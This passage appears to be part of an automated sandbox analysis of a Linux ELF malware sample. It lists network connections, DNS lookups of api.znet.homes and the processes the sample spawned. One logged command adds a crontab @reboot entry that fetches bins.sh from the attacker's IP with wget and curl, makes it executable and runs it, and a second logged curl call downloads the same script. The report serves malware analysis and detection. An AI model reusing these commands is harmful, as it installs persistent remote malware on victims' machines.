                            Mar 23, 2025 23:12:24.259736061 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:24.671717882 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:26.271665096 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:26.687657118 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:30.310031891 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:30.819514036 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:38.495261908 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:39.007256031 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:54.622745991 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:55.134751081 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:28.157768011 CET4892280192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:28.157776117 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:38.356838942 CET467141290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:39.357362032 CET467141290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:41.373306036 CET467141290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:45.569230080 CET467141290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:13:53.760912895 CET467141290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:14:09.884453058 CET467141290192.168.2.15155.138.230.16
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 23, 2025 23:12:23.106823921 CET5290753192.168.2.151.1.1.1
                            Mar 23, 2025 23:12:23.224494934 CET53529071.1.1.1192.168.2.15
                            Mar 23, 2025 23:13:38.238344908 CET5492153192.168.2.151.1.1.1
                            Mar 23, 2025 23:13:38.356400013 CET53549211.1.1.1192.168.2.15
                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Mar 23, 2025 23:12:23.106823921 CET192.168.2.151.1.1.10xf842Standard query (0)api.znet.homesA (IP address)IN (0x0001)false
                            Mar 23, 2025 23:13:38.238344908 CET192.168.2.151.1.1.10xf37Standard query (0)api.znet.homesA (IP address)IN (0x0001)false
                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Mar 23, 2025 23:12:23.224494934 CET1.1.1.1192.168.2.150xf842No error (0)api.znet.homes155.138.230.16A (IP address)IN (0x0001)false
                            Mar 23, 2025 23:13:38.356400013 CET1.1.1.1192.168.2.150xf37No error (0)api.znet.homes155.138.230.16A (IP address)IN (0x0001)false

                            System Behavior

                            Start time (UTC):22:12:16
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:/tmp/i586.elf
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:16
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:-
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:16
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:-
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:-
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:-
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/tmp/i586.elf
                            Arguments:-
                            File size:76540 bytes
                            MD5 hash:d0c1657d143ba67c6c4ea831b7089abe

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:/bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/usr/bin/crontab
                            Arguments:crontab -l
                            File size:43720 bytes
                            MD5 hash:66e521d421ac9b407699061bf21806f5

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/usr/bin/chmod
                            Arguments:chmod +x bins.sh
                            File size:63864 bytes
                            MD5 hash:739483b900c045ae1374d6f53a86a279

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/usr/bin/sh
                            Arguments:sh bins.sh
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/curl
                            Arguments:/bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh
                            File size:239848 bytes
                            MD5 hash:add6bc2195e82c55985ccf49fd4048e6

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/bin/sh
                            Arguments:-
                            File size:129816 bytes
                            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                            Start time (UTC):22:12:22
                            Start date (UTC):23/03/2025
                            Path:/usr/bin/crontab
                            Arguments:crontab -
                            File size:43720 bytes
                            MD5 hash:66e521d421ac9b407699061bf21806f5